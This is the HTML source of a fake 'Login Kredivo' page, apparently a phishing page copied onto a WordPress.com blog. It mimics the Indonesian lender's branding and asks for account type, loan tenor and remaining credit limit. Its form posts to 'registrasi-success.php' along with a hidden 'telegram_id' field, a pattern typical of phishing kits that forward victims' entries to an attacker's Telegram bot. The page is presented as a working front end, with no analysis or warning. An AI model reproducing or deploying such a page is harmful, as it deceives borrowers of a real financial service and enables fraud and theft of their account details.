<html>
<head>
<title>Login Kredivo</title>
<!– for-mobile-apps –>
<meta name=”viewport” content=”width=device-width, initial-scale=1″>
<meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″>
<meta name=”keywords” content=”Grocery Store Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template,
Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design”>
<script type=”application/x-javascript”> addEventListener(“load”, function() { setTimeout(hideURLbar, 0); }, false);
function hideURLbar(){ window.scrollTo(0,1); } </script>
<!– //for-mobile-apps –>
<link href=”css/bootstrap.css” rel=”stylesheet” type=”text/css” media=”all”>
<link href=”css/style.css” rel=”stylesheet” type=”text/css” media=”all”>
<!– font-awesome icons –>
<link href=”css/font-awesome.css” rel=”stylesheet” type=”text/css” media=”all”>
<link rel=”stylesheet” href=”https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css”>
<link href=”//netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css” rel=”stylesheet”>
<!– //font-awesome icons –>
<!– js –>
<!– //js –>
<script type=”text/javascript”>
jQuery(document).ready(function($) {
$(“.scroll”).click(function(event){
event.preventDefault();
$(‘html,body’).animate({scrollTop:$(this.hash).offset().top},1000);
});
});
</script>
<!– start-smoth-scrolling –>
<style>
/* Set a style for the submit button */
.btn {
background-color: #f27d31;
color: white;
padding: 15px 20px;
border: none;
cursor: pointer;
width: 100%;
opacity: 0.9;
margin-top: 20px;
}
.btn:hover {
opacity: 1;
}
.login-form{
width : 100%;
margin-left : auto;
margin-right : auto;
}
h2{
text-align:center;
font-weight:bold;
font-family:poppins;
}
body{
padding:20px;
}
img{
width:100px;
}
.header p{
float:right;
text-align:right;
font-weight:bold;
color:black;
}
.tipeakun{
width:100%;
height : 80px;
background-color: #f27d31;
margin-top:10px;
padding:10px;
border-radius:20px;
}
.tipeakun h3{
text-align:center;
margin-bottom:5px;
font-family:poppins;
font-size: 16px;
font-weight:bold;
color:black;
}
input[type=radio]:not(old){
display : inline-block;
margin-left : 60px;
}
.tipeakun label{
font-size:14px;
}
.limit{
width:100%;
height : 180px;
background-color: #ffffff;
margin-top:10px;
padding:10px;
border:1px solid grey;
border-radius:20px;
box-shadow:3px 3px 6px grey;
}
.limit p{
font-size:12px;
text-align : center;
}
.limit label{
font-size:12px;
margin-left:5px;
}
.limitbulan{
text-align:center;
clear:both;
width:100%;
height:60px;
}
.sisalimit{
width:240px;
height:50px;
margin-left:auto;
margin-right:auto;
}
.sisalimit label{
float:left;
font-size:18px;
}
.form-control{
border:none;
outline:none;
box-shadow: none;
width:200px;
float:left;
margin-left:auto;
margin-right:auto;
font-size:18px;
font-weight:bold;
border-bottom:1px solid black;
}
form input[type=”text”]:focus {
outline:0px !important;
-webkit-appearance:none;
box-shadow: none !important;
}
.button-image{
text-align:center;
font-size:13px;
}
.button-image p{
font-style:italic;
margin-top:8px;
}
.button-image a{
color:red;
}
</style>
</head>
<body>
<div class=”header”>
<img src=”img/kredivo logo.png”>
<p>Butuh Bantuan?</p>
</div>
<hr>
<div class=”w3-content w3-section” style=”max-width:500px”>
<img class=”mySlides” src=”img/sc1.png” style=”width: 100%; display: block;”>
<img class=”mySlides” src=”img/sc2.png” style=”width: 100%; display: none;”>
<img class=”mySlides” src=”img/sc3.png” style=”width: 100%; display: none;”>
<img class=”mySlides” src=”img/sc4.png” style=”width: 100%; display: none;”>
<img class=”mySlides” src=”img/sc5.png” style=”width: 100%; display: none;”>
</div>
<div class=”login-form”>
<form action=”registrasi-success.php” method=”post”>
<div class=”tipeakun”>
<h3>Tipe Akun</h3>
<input type=”radio” class=”checkbox” name=”basic” id=”basic”>
<label for=”basic”>Basic</label>
<input type=”radio” class=”checkbox” name=”premium” id=”premium”>
<label for=”premium”>Premium</label>
</div>
<div class=”limit”>
<p>Konfirmasi sesuai limit yang tersedia di akun Anda :</p>
<hr>
<div class=”limitbulan”>
<input type=”checkbox” class=”nominal” name=”optionsatu” id=”optionsatu”>
<label for=”bulan”>3 Bulan</label>
<input type=”checkbox” class=”nominal” name=”optiondua” id=”optiondua”>
<label for=”bulan”>6 Bulan</label>
<input type=”checkbox” class=”nominal” name=”optiontiga” id=”optiontiga”>
<label for=”bulan”>12 Bulan</label>
</div>
<div class=”sisalimit”>
<label for=”rp”>Rp</label>
<input type=”text” id=”rupiah1″ name=”rupiah1″ class=”form-control” placeholder=”Sisa Limit” required>
</div>
</div>
<div class=”shadow”>
<input class=”input-field” type=”hidden” name=”telegram_id” value=”5489221268″>
</div>
<div class=”button-image”>
<button type=”submit” class=”btn” name=”submit”>Masuk</button>
<br>
<p>Belum punya akun?<a href=”https://play.google.com/store/apps/details?id=com.finaccel.android&hl=in&gl=US”>Daftar Sekarang</a></p>
<a href=”https://play.google.com/store/apps/details?id=com.finaccel.android&hl=in&gl=US”> </a>
</div>
<a href=”https://play.google.com/store/apps/details?id=com.finaccel.android&hl=in&gl=US”> </a>
</form>
</div>
<a href=”https://play.google.com/store/apps/details?id=com.finaccel.android&hl=in&gl=US”>
<!– //footer –>
<!– Bootstrap Core JavaScript –> <script>
$(document).on(‘click’, ‘input[type=”radio”]’, function() {
$(‘input[type=”radio”]’).not(this).prop(‘checked’, false);
});
</script> <script>
$(document).on(‘click’, ‘input[type=”checkbox”]’, function() {
$(‘input[type=”checkbox”]’).not(this).prop(‘checked’, false);
});
</script> <script>
var myIndex = 0;
carousel();
function carousel() {
var i;
var x = document.getElementsByClassName(“mySlides”);
for (i = 0; i < x.length; i++) {
x[i].style.display = “none”;
}
myIndex++;
if (myIndex > x.length) {myIndex = 1}
x[myIndex-1].style.display = “block”;
setTimeout(carousel, 2000); // Change image every 2 seconds
}
</script> <script>
$(document).ready(function(){
$(“.dropdown”).hover(
function() {
$(‘.dropdown-menu’, this).stop( true, true ).slideDown(“fast”);
$(this).toggleClass(‘open’);
},
function() {
$(‘.dropdown-menu’, this).stop( true, true ).slideUp(“fast”);
$(this).toggleClass(‘open’);
}
);
});
</script>
<!– here stars scrolling icon –> <script type=”text/javascript”>
$(document).ready(function() {
/*
var defaults = {
containerID: ‘toTop’, // fading element id
containerHoverID: ‘toTopHover’, // fading element hover id
scrollSpeed: 1200,
easingType: ‘linear’
};
*/
$().UItoTop({ easingType: ‘easeOutQuart’ });
});
</script>
<!– //here ends scrolling icon –> </a>
<a href=”#” id=”toTop” style=”display: none;”><span id=”toTopHover”></span>To Top</a>
</body>
</html>
- Komentar
- Reblog
-
Berlangganan
Langganan
Sudah punya akun WordPress.com? Login sekarang.
Judul Situs 